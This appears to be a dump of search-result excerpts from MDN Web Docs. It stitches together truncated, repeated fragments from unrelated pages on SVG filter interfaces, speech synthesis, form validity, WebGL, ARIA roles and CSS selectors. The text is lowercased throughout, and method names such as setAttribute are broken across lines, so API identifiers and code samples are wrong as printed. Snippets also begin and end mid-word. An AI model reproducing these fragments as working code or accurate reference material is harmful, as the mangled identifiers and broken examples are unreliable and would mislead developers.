attribute of the given element. svgfespotlightelement.pointaty read only an svganimatednumber corresponding to the pointaty
attribute of the given element. svgfespotlightelement.pointatz read only an svganimatednumber corresponding to the pointatz
attribute of the given element. svgfespotlightelement.specularexponent read only an svganimatednumber corresponding to the specularexponent
attribute of the given element. svgfespotlightelement.limitingconeangle read only an svganimatednumber corresponding to the limitingcone...
... methods this interface does not provide any specific methods, but implements those of its parent, svgelement. ...
SVGFETurbulenceElement - Web APIs
ttempt to define a new value of this type or to attempt to switch an existing value to this type. svg_stitchtype_stitch 1 corresponds to the stitch value. svg_stitchtype_nostitch 2 corresponds to nostitch value. properties this interface also inherits properties from its parent interface, svgelement, and also implements properties of svgfilterprimitivestandard
attributes. svgfeturbulenceelement.basefrequencyx read only an svganimatednumber corresponding to the x component of the basefrequency
attribute of the given element. svgfeturbulenceelement.basefrequencyy read only an svganimatednumber corresponding to the y component of the basefrequency
attribute of the given element. svgfeturbulenceelement.numoctaves read only an svganimatedinteger correspond...
...lement.basefrequencyx read only an svganimatednumber corresponding to the x component of the basefrequency
attribute of the given element. svgfeturbulenceelement.basefrequencyy read only an svganimatednumber corresponding to the y component of the basefrequency
attribute of the given element. svgfeturbulenceelement.numoctaves read only an svganimatedinteger corresponding to the numoctaves
attribute of the given element. svgfeturbulenceelement.seed read only an svganimatednumber corresponding to the seed
attribute of the given element. svgfeturbulenceelement.stitchtiles read only an svganimatedenumeration corresponding to the stitchtiles
attribute of the given element. it takes one of the svg_stitchtype_* constants defined on this interface. svgfeturbulenceelement.type read only an ...
...ed read only an svganimatednumber corresponding to the seed
attribute of the given element. svgfeturbulenceelement.stitchtiles read only an svganimatedenumeration corresponding to the stitchtiles
attribute of the given element. it takes one of the svg_stitchtype_* constants defined on this interface. svgfeturbulenceelement.type read only an svganimatedenumeration corresponding to the type
attribute of the given element. it takes one of the svg_turbulence_type_* constants defined on this interface. methods this interface does not provide any specific methods, but implements those of its parent, svgelement, and also implements methods of svgfilterprimitivestandard
attributes. specifications specification status comment filter effects module level 1the definition of...
SVGFilterElement - Web APIs
de4" stroke-width="2px" /><text x="401" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfilterelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties svgfilterelement.filterunits read only an svganimatedenumeration that corresponds to the filterunits
attribute of the given <filter> element. takes one of the constants defined in svgunittypes. svgfilterelement.primitiveunits read only an svganimatedenumeration that corresponds to the primitiveunits
attribute of the given <filter> element. takes one of the constants defined in svgunittypes. svgfilterelement.x read only an svganimatedlength that corresponds to the x
attribute on the given <filter> el...
...vgfilterelement.primitiveunits read only an svganimatedenumeration that corresponds to the primitiveunits
attribute of the given <filter> element. takes one of the constants defined in svgunittypes. svgfilterelement.x read only an svganimatedlength that corresponds to the x
attribute on the given <filter> element. svgfilterelement.y read only an svganimatedlength that corresponds to the y
attribute of the given <filter> element. svgfilterelement.width read only an svganimatedlength that corresponds to the width
attribute of the given <filter> element. svgfilterelement.height read only an svganimatedlength that corresponds to the height
attribute of the given <filter> element. svgfilterelement.filterresx read only an svganimatedinteger that contains the x component of the filterre...
...f the given <filter> element. svgfilterelement.width read only an svganimatedlength that corresponds to the width
attribute of the given <filter> element. svgfilterelement.height read only an svganimatedlength that corresponds to the height
attribute of the given <filter> element. svgfilterelement.filterresx read only an svganimatedinteger that contains the x component of the filterres
attribute of the given <filter> element. svgfilterelement.filterresy read only an svganimatedinteger that contains the y component of the filterres
attribute of the given <filter> element. methods svgfilterelement.setfilterres() sets the values of the filterres
attribute. specifications specification status comment filter effects module level 1the definition of 'svgf...
SVGFitToViewBox - Web APIs
svg fit to view box interface the svgfittoviewbox interface is used to reflect the viewbox and preserveaspectratio
attributes, and is mixed in to other interfaces for elements that support these two
attributes. interface overview also implement none methods none properties svganimatedpreserveaspectratio preserveaspectratio svganimatedrect viewbox normative document svg 1.1 (2nd edition) properties name type description ...
... methods the svgfittoviewbox interface does not provide any specific methods. browser compatibility desktop ...
... properties name type description preserveaspectratio svganimatedpreserveaspectratio corresponds to
attribute preserveaspectratio on the given element. viewbox svganimatedrect corresponds to
attribute viewbox on the given element. methods the svgfittoviewbox interface does not provide any specific methods. browser compatibility desktop mobile chrome edge firefox internet explorer oper...
SVGPatternElement - Web APIs
-anchor="middle" alignment-baseline="middle">svgpatternelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent, svgelement and implements the ones from svgfittoviewbox and svgurireference. svgpatternelement.patternunits read only an svganimatedenumeration corresponding to the patternunits
attribute of the given <pattern> element. takes one of the constants defined in svgunittypes. svgpatternelement.patterncontentunits read only an svganimatedenumeration corresponding to the patterncontentunits
attribute of the given <pattern> element. takes one of the constants defined in svgunittypes. svgpatternelement.patterntransform read only an svganimatedtransformlist corresponding to the patter...
...en <pattern> element. takes one of the constants defined in svgunittypes. svgpatternelement.patterncontentunits read only an svganimatedenumeration corresponding to the patterncontentunits
attribute of the given <pattern> element. takes one of the constants defined in svgunittypes. svgpatternelement.patterntransform read only an svganimatedtransformlist corresponding to the patterntransform
attribute of the given <pattern> element. svgpatternelement.x read only an svganimatedenumeration corresponding to the x
attribute of the given <pattern> element. ...
...he constants defined in svgunittypes. svgpatternelement.patterntransform read only an svganimatedtransformlist corresponding to the patterntransform
attribute of the given <pattern> element. svgpatternelement.x read only an svganimatedenumeration corresponding to the x
attribute of the given <pattern> element. svgpatternelement.y read only an svganimatedenumeration corresponding to the y
attribute of the given <pattern> element. svgpatternelement.width read only an svganimatedenumeration corresponding to the width
attribute of the given <pattern> element. svgpatternelement.height read only an svganimatedenumeration corresponding to the height
attribute of the given <pattern> element. methods this interface doesn't implement any specific methods, but inherits methods from its paren...
SVGTextPositioningElement - Web APIs
it is inherited by svgtextelement, svgtspanelement, svgtrefelement and svgaltglyphelement. ...
..."consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgtextpositioningelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent, svgtextcontentelement. svgtextpositioningelement.x read only returns an svganimatedlengthlist reflecting the x
attribute of the given element. svgtextpositioningelement.y read only returns an svganimatedlengthlist reflecting the y
attribute of the given element. svgtextpositioningelement.dx read only returns an svganimatedlengthlist reflecting the dx
attribute of the given element. svgtextpositioningelement.dy read only returns an svganimatedlengthlist reflecting the dy
attribute of the given element. svg...
... methods this interface doesn't provide any specific methods, but inherits methods from its parent, svgtextcontentelement. specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgtextpositioningelement' in that specification. ...
SpeechSynthesis: voiceschanged event - Web APIs
e between when the event fires. ...
...changed event in an addeventlistener method: var synth = window.speechsynthesis; synth.addeventlistener('voiceschanged', function() { var voices = synth.getvoices(); for(i = 0; i < voices.length ; i++) { var option = document.createelement('option'); option.textcontent = voices[i].name + ' (' + voices[i].lang + ')'; option.set
attribute('data-lang', voices[i].lang); option.set
attribute('data-name', voices[i].name); voiceselect.appendchild(option); } }); or use the onvoiceschanged event handler property: synth.onvoiceschanged = function() { var voices = synth.getvoices(); for(i = 0; i < voices.length ; i++) { var option = document.createelement('option'); option.textcontent = voices[i].name + ' (' + voices[i].lang + ')'; option.set
attribute('data-lang', v...
... draft ...
SpeechSynthesisVoice - Web APIs
examples the following snippet is excerpted from our speech synthesiser demo. ...
...ur speech synthesiser demo. ...
...ribute('data-name', voices[i].name); voiceselect.appendchild(option); } } populatevoicelist(); if (speechsynthesis.onvoiceschanged !== undefined) { speechsynthesis.onvoiceschanged = populatevoicelist; } inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].get
attribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } utterthis.pitch = pitch.value; utterthis.rate = rate.value; synth.speak(utterthis); utterthis.onpause = function(event) { var char = event.utterance.text.charat(event.charindex); console.log('speech paused at character ' + event.charindex ...
StorageEvent - Web APIs
read only. newvalue domstring the new value of the key. the newvalue is null when the change has been invoked by storage clear() method or the key has been removed from the storage. read only. ...
...read only. newvalue domstring the new value of the key. the newvalue is null when the change has been invoked by storage clear() method or the key has been removed from the storage. read only. oldvalue domstri...
...read only. ...
TextTrack.mode - Web APIs
the texttrack interface's mode property is a string specifying and controlling the text track's mode: disabled, hidden, or showing. you can read this value to determine the current mode, and you can change this value to switch modes. safari additionally requires the default boolean
attribute to be set to true when implementing your own video player controls in order for the subtitles cues to be shown. syntax var mode = texttrack.mode; texttrack.mode = "disabled" | "hidden" | "showing"; value a domstring which indicates the track's current mode. the text track mode is one of the values listed below, under text track mode constants. text track mode constants the text track mode—sometimes identified using the idl enum texttrackmode—must be one of the following values: disabled the tex...
...fied using the idl enum texttrackmode—must be one of the following values: disabled the text track is currently disabled. while the track's presence is exposed in the dom, the user agent is otherwise ignoring it. no cues are active, no events are being fired, and the user agent won't attempt to obtain the track's cues. this is the default value, unless the text track has the default boolean
attribute is specified, in which case the default is showing. hidden the text track is currently active but the cues aren't being displayed. if the user agent hasn't tried to obtain the track's cues yet, it will do so soon (thereby populating the track's texttrack.cues property). the user agent is keeping a list of the active cues (in the track's activecues property) and events are being fired at the cor...
...xt isn't being displayed. showing the text track is currently enabled and is visible. if the track's cues list hasn't been obtained yet, it will be soon. the activecues list is being maintained and events are firing at the appropriate times; the track's text is also being drawn appropriately based on the styling and the track's kind. this is the default value if the text track's default boolean
attribute is specified. usage notes the default mode is disabled, unless the default boolean
attribute is specified, in which case the default mode is showing. when a text track is loaded in the disabled state, the corresponding webvtt file is not loaded until the state changes to either showing or hidden. this way, the resource fetch and memory usage are avoided unless the cues are actually needed. ho...
ValidityState.patternMismatch - Web APIs
the read-only patternmismatch property of a validitystate object indicates if the value of an <input>, after having been edited by the user, does not conform to the constraints set by the element's pattern
attribute. if the field supports the pattern
attribute -- which means the <input> is of type text, tel, email, url, password, or search -- and the pattern value is set to a valid regular expression, if the value don't doesn't conform to the constraints set by the pattern value, the patternmismatch property will be true. examples given the following: <p> <label>enter your phone number in the format (123)456-7890 (<input name="tel1" type="tel" pattern="[0-9]{3}" placeholder="###" aria-label="3-digit area code" size="2"/>)- <input name="tel2" type="tel" pattern="[0-9]{3}" placeholder="##...
... if the values are too long or too short, or contain characters that aren't digits, patternmismatch will be true. when true, the element matches the :invalid css pseudo-classes. input:invalid { border: red solid 3px; } note, in this case, we get a patternmismatch not a validitystate.toolong or validitystate.tooshort if the values are too long or too short because it is the patt...
...aren't digits, patternmismatch will be true. when true, the element matches the :invalid css pseudo-classes. input:invalid { border: red solid 3px; } note, in this case, we get a patternmismatch not a validitystate.toolong or validitystate.tooshort if the values are too long or too short because it is the pattern that is dictating the length of the value. had we used minlength and maxlength
attributes instead, we may have seen validitystate.toolong or validitystate.tooshort being true. note: the email input type requires, at minimum, a match of x@y and the url type requires, at minimum, a match to x:, with no pattern
attribute present. when invalid, the validitystate.typemismatch will be true, if there is no pattern
attribute (or if the pattern
attribute is not valid for that input type). ...
ValidityState - Web APIs
message has been set to a non-empty string by calling the element's setcustomvalidity() method. patternmismatch read only a boolean that is true if the value does not match the specified pattern, and false if it does match. if true, the element matches the :invalid css pseudo-class. rangeoverflow read only a boolean that is true if the value is greater than the maximum specified by the max
attribute, or false if it is less than or equal to the maximum. if true, the element matches the :invalid and :out-of-range and css pseudo-classes. rangeunderflow read only a boolean that is true if the value is less than the minimum specified by the min
attribute, or false if it is greater than or equal to the minimum. if true, the element matches the :invalid and :out-of-range css pseudo-classes. ste...
...if true, the element matches the :invalid and :out-of-range css pseudo-classes. ...
...e element matches the :invalid css pseudo-class. valid read only a boolean that is true if the element meets all its validation constraints, and is therefore considered to be valid, or false if it fails any constraint. if true, the element matches the :valid css pseudo-class; the :invalid css pseudo-class otherwise. valuemissing read only a boolean that is true if the element has a required
attribute, but no value, or false otherwise. if true, the element matches the :invalid css pseudo-class. specifications specification status comment html living standardthe definition of 'validitystate' in that specification. living standard living standard html 5.1the definition of 'validitystate' in that specification. recommendation no change from the prev...
WebGL2RenderingContext.vertexAttribDivisor() - Web APIs
return value none. ...
... return value none. examples gl.vertexattribdivisor(0, 2); specifications specification status comment webgl 2.0the definition of 'vertexattribdivisor' in that specification. ...
... return value none. ...
WebGL2RenderingContext.vertexAttribIPointer() - Web APIs
the webgl2renderingcontext.vertexattribipointer() method of the webgl 2 api specifies integer data formats and locations of vertex
attributes in a vertex
attributes array. syntax void gl.vertexattribipointer(index, size, type, stride, offset); parameters index a gluint specifying the index of the vertex
attribute that is to be modified. size a glint specifying the number of components per vertex
attribute. must be 1, 2, 3, or 4. type a glenum specifying the data type of each component in the array. must be one of: gl.byte, gl.unsigned_byte, gl.short, gl.unsigned_short, gl.int, or gl.unsigned_int. stride a glsizei specifying the offset in bytes between the beginning of consecutive vertex
attributes. offset a glintptr specifying an offset in bytes of the first component in ...
...must be a multiple of type. return value none. description very similar to webglrenderingcontext.vertexattribpointer(). ...
...e layout of the buffer: //1. position gl.vertexattribpointer(0, 3, gl.float, false, 20, 0); gl.enablevertexattribarray(0); //2. bone weights, normalized to [0, 1] gl.vertexattribpointer(1, 4, gl.unsigned_byte, true, 20, 12); gl.enablevertexattribarray(1); //3. ...
Textures from code - Web APIs
browser does not seem to support html5 canvas.</canvas> body { text-align : center; } canvas { width : 280px; height : 210px; margin : auto; padding : 0; border : none; background-color : black; } button { display : block; font-size : inherit; margin : auto; padding : 0.6em; } <script type="x-shader/x-vertex" id="vertex-shader"> #version 100 precision highp float;
attribute vec2 position; void main() { gl_position = vec4(position, 0.0, 1.0); gl_pointsize = 128.0; } </script> <script type="x-shader/x-fragment" id="fragment-shader"> #version 100 precision mediump float; void main() { vec2 fragmentposition = 2.0*gl_pointcoord - 1.0; float distance = length(fragmentposition); float distancesqrd = distance * distance; gl_fragcolor = vec4( 0.2/distances...
...r); gl.detachshader(program, fragmentshader); gl.deleteshader(vertexshader); gl.deleteshader(fragmentshader); if (!gl.getprogramparameter(program, gl.link_status)) { var linkerrlog = gl.getprograminfolog(program); cleanup(); document.queryselector("p").innerhtml = "shader program did not link successfully. ...
...(!gl.getprogramparameter(program, gl.link_status)) { var linkerrlog = gl.getprograminfolog(program); cleanup(); document.queryselector("p").innerhtml = "shader program did not link successfully. ...
WebGL constants - Web APIs
bufferdata to specify the type of buffer being used. element_array_buffer 0x8893 passed to bindbuffer or bufferdata to specify the type of buffer being used. buffer_size 0x8764 passed to getbufferparameter to get a buffer's size. buffer_usage 0x8765 passed to getbufferparameter to get the hint for the buffer passed in when it was created. vertex
attributes constants passed to webglrenderingcontext.getvertexattrib(). constant name value description current_vertex_attrib 0x8626 passed to getvertexattrib to read back the current vertex
attribute. vertex_attrib_array_enabled 0x8622 vertex_attrib_array_size 0x8623 vertex_attrib_array_stride 0x8624 vertex_att...
...programinfolog to find the exact error. validate_status 0x8b83 passed to getprogramparameter after calling validateprogram to determine if it is valid. returns false if errors were found. attached_shaders 0x8b85 passed to getprogramparameter after calling attachshader to determine if the shader was attached correctly. returns false if errors occurred. active_
attributes 0x8b89 passed to getprogramparameter to get the number of
attributes active in a program. active_uniforms 0x8b86 passed to getprogramparamter to get the number of uniforms active in a program. max_vertex_attribs 0x8869 the maximum number of entries possible in the vertex
attribute list. max_vertex_uniform_vectors 0x8dfb max_varying_ve...
...at_mat2x4 0x8b66 float_mat3x2 0x8b67 float_mat3x4 0x8b68 float_mat4x2 0x8b69 float_mat4x3 0x8b6a unsigned_int_vec2 0x8dc6 unsigned_int_vec3 0x8dc7 unsigned_int_vec4 0x8dc8 unsigned_normalized 0x8c17 signed_normalized 0x8f9c vertex
attributes constant name value description vertex_attrib_array_integer 0x88fd vertex_attrib_array_divisor 0x88fe transform feedback constant name value description transform_feedback_buffer_mode 0x8c7f max_transform_feedback_separate_components 0x8c80 transform_feedback_varyings 0...
Advanced techniques: Creating and sequencing audio - Web APIs
want to create a reference queue for the notes that are to be played, and the functionality to play them using the functions we've previously created: const notesinqueue = []; function schedulenote(beatnumber, time) { // push the note on the queue, even if we're not playing. ...
...we've previously created: const notesinqueue = []; function schedulenote(beatnumber, time) { // push the note on the queue, even if we're not playing. ...
...ueue, even if we're not playing. notesinqueue.push({ note: beatnumber, time: time }); if (pads[0].queryselectorall('button')[currentnote].get
attribute('aria-checked') === 'true') { playsweep() } if (pads[1].queryselectorall('button')[currentnote].get
attribute('aria-checked') === 'true') { playpulse() } if (pads[2].queryselectorall('button')[currentnote].get
attribute('aria-checked') === 'true') { playnoise() } if (pads[3].queryselectorall('button')[currentnote].get
attribute('aria-checked') === 'true') { playsourcenode(audioctx, sample); } } here we look at the current time and compare it to the time for the next note; when the two match it will call the previous two functions. function scheduler() { // while there are notes t...
Using the alert role - Accessibility
ded, the screen reader will announce the error immediately after announcing the page title. <h2 role="alert">your form could not be submitted because of 3 validation errors.</h2> example 2: dynamically adding an element with the alert role this snippet dynamically creates an element with an alert role and adds it to the document structure. ...
... expected value. if a different value is entered, role="alert can be added to the instruction text so that the screen reader announces it as an alert. the pseudo code snippet below illustrates this approach: <p id="forminstruction">you must select at least 3 options</p> // when the user tries to submit the form with less than 3 checkboxes selected: document.getelementbyid("forminstruction").set
attribute("role", "alert"); example 4: making an element with an alert role visible if an element already has role="alert" and is initially hidden using css, making it visible will cause the alert to fire as if it was just added to the page. this means that an existing alert can be "reused" multiple times. note: in most cases this approach is not recommended, because it's not ideal to hide error or ale...
...ent that the alert role is used on does not have to be able to receive focus, as screen readers will automatically announce the alert regardless of where keyboard focus is currently located. ...
Using the progressbar role - Accessibility
t displays the progress status for a task that take a long time or consists of several steps. a progressbar indicates that the user's request has been received and the application is making progress toward completing the requested action. if the actual value of the progressbar can be determined, the developer has to indicate this progress using the aria-valuenow, aria-valuemin, and aria-valuemax
attributes. if the progress value is indeterminate, the developer should omit the aria-valuenow
attribute. as the task progresses, the aria-valuenow value has to be updated dynamically to indicate this progress to assistive technology products. if the progressbar is describing the loading progress of a particular region of a page, the author should use aria-describedby to point to the status, and set t...
...it is not possible for the user to alter the value of a progressbar because it is always readonly. ...
...ative. ...
Using the status role - Accessibility
element, the browser will send out an accessible status event to assistive technology products which can then notify the user about it. status information content must be provided within a status object, and it should be ensured that this object does not receive focus. if another part of the page controls what appears in the status, the relationship should be made explicit via the aria-controls
attribute. assistive technologies may reserve some cells of a braille display to render the status. possible effects on user agents and assistive technology when the status role is added to an element, or such an element becomes visible, the user agent should do the following: expose the element as having a status role in the operating system's accessibility api. fire an accessible status event us...
...ons may differ on how assistive technology should handle this technique. the information provided above is one of those opinions and therefore not normative. examples example 1: adding the status role in html the snippet below shows how the status role is added directly into the html source code. ...
...bove is one of those opinions and therefore not normative. examples example 1: adding the status role in html the snippet below shows how the status role is added directly into the html source code. ...
ARIA: tabpanel role - Accessibility
the first rule of aria use is you can use a native feature with the semantics and behavior you require already built in, instead of re-purposing an element and adding an aria role, state or property to make it accessible, then do so. then post full details in best practices section below. ...
...the first rule of aria use is you can use a native feature with the semantics and behavior you require already built in, instead of re-purposing an element and adding an aria role, state or property to make it accessible, then do so. then post full details in best practices section below. ...
...mobile speech recognition. specifications specification status accessible rich internet applications (wai-aria) 1.1the definition of 'tabpanel' in that specification. recommendation wai-aria authoring practicesthe definition of 'tabpanel' in that specification. working draft precedence order what are the related properties, and in what order will this
attribute or property be read (which property will take precendence over this one, and which property will be overwritten. screen reader support tbd ...
ARIA: img role - Accessibility
you shouldn't count on the alt text of individual elements images for conveying context to assistive technologies; most screenreaders will consider the element with role="img" set on it to be to be like a black box, and not access the individual elements inside it. therefore, provide a comprehensive overall descriptive alt text for image, either in the surrounding text, or by using an aria-label
attribute, with optional alt
attributes for search engines or sighted users to be written to the page should an image fail: <div role="img" aria-label="description of the overall image"> <img src="graphic1.png" alt=""> <img src="graphic2.png"> </div> if you wish to add a caption or label to your image that is visible on the page, you can do using: aria-labelledby when the text is a concise label. ...
...vg role="img" aria-label="description of your svg image"> <!-- contents of the svg image --> </svg> using role="img" to confer meaning that is obscured or implied in certain cases, assistive technology users won't be able to get the meaning of content expressed in certain ways, through certain media, or implied in certain ways. this is obvious to fix in the case of images (you can use the alt
attribute), but in the case of mixed or other certain types of content it is not so obvious, and role="img" can come into play. for example, if you use emojis in your text, the meaning might be obvious to a sighted user, but someone using a screenreader might get confused because the emojis might have either no text representation at all, or the alternative text might be confusing and not match the contex...
...up reading the label out twice. use with caution and test thoroughly. another example where this might be suitable is when using ascii emoji combinations, like the legendary "table flip": <div role="img" aria-label="table flip"> <p> (╯°□°)╯︵ ┻━┻ </p> </div> associated wai-aria roles, states, and properties aria-label an accessible name is required. an aria-label
attribute keyboard interactions required javascript features examples star rating role="img" example specifications specification status accessible rich internet applications (wai-aria) 1.1the definition of 'img' in that specification. recommendation screen reader support tbd ...
WAI-ARIA Roles - Accessibility
aced at the beginning of the page. this usually includes a logo, company name, search icon, photo related to the page, or slogan.aria: button rolethe button role should be used for clickable elements that trigger a response when activated by the user. adding role="button" will make an element appear as a button control to a screen reader. this role can be used in combination with the aria-pressed
attribute to create toggle buttons.aria: cell rolethe cell value of the aria role
attribute identifies an element as being a cell in a tabular container that does not contain column or row header information. to be supported, the cell must be nested in an element with the role of row.aria: checkbox rolethe checkbox role is used for checkable interactive controls. elements containing role="checkbox" must al...
...ia: cell rolethe cell value of the aria role
attribute identifies an element as being a cell in a tabular container that does not contain column or row header information. to be supported, the cell must be nested in an element with the role of row.aria: checkbox rolethe checkbox role is used for checkable interactive controls. elements containing role="checkbox" must also include the aria-checked
attribute to expose the checkbox's state to assistive technology.aria: comment rolethe comment landmark role semantically denotes a comment/reaction to some content on the page, or to a previous comment.aria: complementary rolethe complementary landmark role is used to designate a supporting section that relates to the main content, yet can stand alone when separated. these sections are frequently presente...
...aria: timer rolethe timer role indicates to assistive technologie...
Keyboard-navigable JavaScript widgets - Accessibility
y composed of <div> and <span> elements that do not, by nature, offer the same keyboard functionality that their desktop counterparts do. this document describes techniques to make javascript widgets accessible with the keyboard. using tabindex by default, when people use the tab key to browse a webpage, only interactive elements (like links, form controls) get focused. with the tabindex global
attribute, authors can make other elements focusable, too. when set to 0, the element becomes focusable by keyboard and script. when set to -1, the element becomes focusable by script, but it does not become part of the keyboard focus order. the order in which elements gain focus when using a keyboard, is the source order by default. in exceptional circumstances, authors may want to redefine the order. to...
... avoid using positive values for tabindex. elements with a positive tabindex are put before the default interactive elements on the page, which means page authors will have to set (and maintain) tabindex values for all focusable elements on the page whenever they use one or more positive values for tabindex. the following table describes tabindex behavior in modern browsers: tabindex
attribute focusable with mouse or javascript via element.focus() tab navigable not present follows the platform convention of the element (yes for form controls, links, etc.). follows the platform convention of the element. negative (i.e. tabindex="-1") yes no; author must focus the element with focus() in response to arrow or other key presses. zero (i.e. tabin...
...ls, links, etc.). follows the platform convention of the element. negative (i.e. tabindex="-1") yes no; author must focus the element with focus() in response to arrow or other key presses. zero (i.e. tabindex="0") yes in tab order relative to element's position in document (note that interactive elements like <a> have this behavior by default, they don't need the
attribute). positive (e.g. tabindex="33") yes tabindex value determines where this element is positioned in the tab order: smaller values will position elements earlier in the tab order than larger values (for example, tabindex="7" will be positioned before tabindex="11"). non-native controls native html elements that are interactive, like <a>, <input> and <select>, are already acces...
Understandable - Accessibility
erstandable as possible. success criteria how to conform to the criteria practical resource 3.1.1 language of page (a) the default human language of each web page should be detectable via code. this is essential for purposes like making sure the reader has arrived at a page written in a language suitable for them. ...
...a <span> if no semantic element is available) to set an appropriate language for it. you don't need to set a different language for words or phrases that are the same regardless of language (for example proper names, technical terms that aren't part of a specific language). ...
... the very least provide definitions somewhere in the surrounding text, or in a description list at the bottom of the page. 3.1.4 abbreviations (aaa) where abbreviations are used, you should provide an expansion of them, or a definition as required. the <abbr> element is often thought of as the preferred way to provide an expansion for an abbreviation — it takes a title
attribute that contains the expansion, and this appears when the acronym is moused over. however, the title contents are not accessible via keyboard, nor are they reliably read out by screenreaders. a better way to handle this is to again provide links to glossary pages containing the acronym expansion and explanation, or at the very least include them in the surrounding text in context. see abbrevi...
-moz-force-broken-image-icon - CSS: Cascading Style Sheets
the -moz-force-broken-image-icon extended css property can be used to force the broken image icon to be shown even when a broken image has an alt
attribute. syntax values <integer> a value of 1 means that the broken image icon is shown even if the image has an alt
attribute. when the value 0 is used the image will act as usual and only display the alt
attribute. note: even if the value is set to 1 the alt
attribute will still be displayed, alongside the broken image icon. formal definition initial value0applies toimagesinheritednocomputed valueas specifiedanimation typediscrete formal syntax <integer> examples html <img src='/broken/image/link.png' alt='broken image link'> css img { -moz-force-broken-image-icon: 1; height: 100px; width: 100px; } result screenshot...
... specifications not part of any standard. ...
...-broken-image-icon: 1; height: 100px; width: 100px; } result screenshotlive sample note: unless the image has a specified height and width the broken image icon will not be displayed but the alt
attribute will also be hidden if -moz-force-broken-image-icon is set to 1. notes this property will only work in gecko-based browsers. the use of this property is not recommended. a proper alt
attribute should be used instead. specifications not part of any standard. ...
CSS selectors - CSS: Cascading Style Sheets
universal selector selects all elements. optionally, it may be restricted to a specific namespace or to all namespaces. syntax: * ns|* *|* example: * will match all the elements of the document. type selector selects all elements that have the given node name. syntax: elementname example: input will match any <input> element. class selector selects all elements that have the given class
attribute. syntax: .classname example: .index will match any element that has a class of "index". id selector selects an element based on the value of its id
attribute. there should be only one element with a given id in a document. syntax: #idname example: #toc will match the element that has the id "toc".
attribute selector selects all elements that have the given
attribute. syntax: [attr] [attr...
... grouping selectors selector list the , is a grouping method, it selects all the matching nodes. syntax: a, b example: div, span will match both <span> and <div> elements. combinators descendant combinator the (space) combinator selects nodes that are descendants of the first element. ...
...l. example: p::first-line will match the first line of all <p> elements. specifications specification status comment selectors level 4 working draft added the || column combinator, grid structural selectors, logical combinators, location, time-demensional, resource state, linguistic and ui pseudo-classes, modifier for ascii case-sensitive and case-insensitive
attribute value selection. selectors level 3 recommendation added the ~ general sibling combinator and tree-structural pseudo-classes. made pseudo-elements use a :: double-colon prefix. additional
attribute selectors css level 2 (revision 1) recommendation added the > child and + adjacent sibling combinators. added the universal and
attribute selectors. css le...
Specificity - CSS: Cascading Style Sheets
s. as per css rules, directly targeted elements will always take precedence over rules which an element inherits from its ancestor. note: proximity of elements in the document tree has no effect on the specificity. selector types the following list of selector types increases by specificity: type selectors (e.g., h1) and pseudo-elements (e.g., ::before). class selectors (e.g., .example),
attributes selectors (e.g., [type="radio"]) and pseudo-classes (e.g., :hover). id selectors (e.g., #example). universal selector (*), combinators (+, >, ~, ' ', ||) and negation pseudo-class (:not()) have no effect on specificity. (the selectors declared inside :not() do, however.) for more information, visit: "specificity" in "cascade and inheritance", you can also visit: https://specifishity.com inl...
...table td { height: 50px !important; } .mytable td { height: 50px !important; } #mytable td { height: 50px !important; } b) or add the same selector after the existing one: td { height: 50px !important; } c) or, preferably, rewrite the original rule to avoid the use of !important altogether. [id="someelement"] p { color: blue; } p.awesome { color: red; } including an id as part of an
attribute selector instead of as an id selector gives it the same specificity as a class. both selectors above now have the same weight. in a specificity tie, the last rule defined wins. for more information, visit: https://stackoverflow.com/questions/3706819/what-are-the-implications-of-using-important-in-css https://stackoverflow.com/questions/9245353/what-does-important-in-css-mean https://stackov...
...><a href="/docs/web/css/:where" target="_top">:where()</a></code> pseudo-class. </div> <div class="outer"> <p>this is in the outer div.</p> <div class="inner"> <p>this text is in the inner div.</p> </div> </div> ... appears on the screen like this: form-based specificity specificity is based on the form of a selector. in the following case, the selector *[id="foo"] counts as an
attribute selector for the purpose of determining the selector's specificity, even though it selects an id. the following css styles ... *#foo { color: green; } *[id="foo"] { color: purple; } ... when used with this markup ... <p id="foo">i am a sample text.</p> ... end up looking like this: this is because it matches the same element but the id selector has a higher specificity. tree proxi...
<filter-function> - CSS: Cascading Style Sheets
'output'); const curvalue = document.queryselector('p code'); selectelem.addeventlistener('change', () => { setslider(selectelem.value); setdiv(selectelem.value); }); slider.addeventlistener('input', () => { setdiv(selectelem.value); }); function setslider(filter) { if(filter === 'blur') { slider.value = 0; slider.min = 0; slider.max = 30; slider.step = 1; slider.set
attribute('data-unit', 'px'); } else if(filter === 'brightness' || filter === 'contrast' || filter === 'saturate') { slider.value = 1; slider.min = 0; slider.max = 4; slider.step = 0.05; slider.set
attribute('data-unit', ''); } else if(filter === 'drop-shadow') { slider.value = 0; slider.min = -20; slider.max = 40; slider.step = 1; slider.set
attribute('data-unit',...
...in = 0; slider.max = 4; slider.step = 0.05; slider.set
attribute('data-unit', ''); } else if(filter === 'drop-shadow') { slider.value = 0; slider.min = -20; slider.max = 40; slider.step = 1; slider.set
attribute('data-unit', 'px'); } else if(filter === 'opacity') { slider.value = 1; slider.min = 0; slider.max = 1; slider.step = 0.01; slider.set
attribute('data-unit', ''); } else if(filter === 'grayscale' || filter === 'invert' || filter === 'sepia') { slider.value = 0; slider.min = 0; slider.max = 1; slider.step = 0.01; slider.set
attribute('data-unit', ''); } else if(filter === 'hue-rotate') { slider.value = 0; slider.min = 0; slider.max = 360; slider.step = 1; slider.set
attribute('data-unit', 'deg'); ...
...er.max = 1; slider.step = 0.01; slider.set
attribute('data-unit', ''); } else if(filter === 'hue-rotate') { slider.value = 0; slider.min = 0; slider.max = 360; slider.step = 1; slider.set
attribute('data-unit', 'deg'); } } function setdiv(filter) { if(filter === 'drop-shadow') { divelem.style.filter = `${selectelem.value}(${math.round(slider.value)}${slider.get
attribute('data-unit')} ${math.round(slider.value)}${slider.get
attribute('data-unit')} ${math.round(math.abs(slider.value/2))}${slider.get
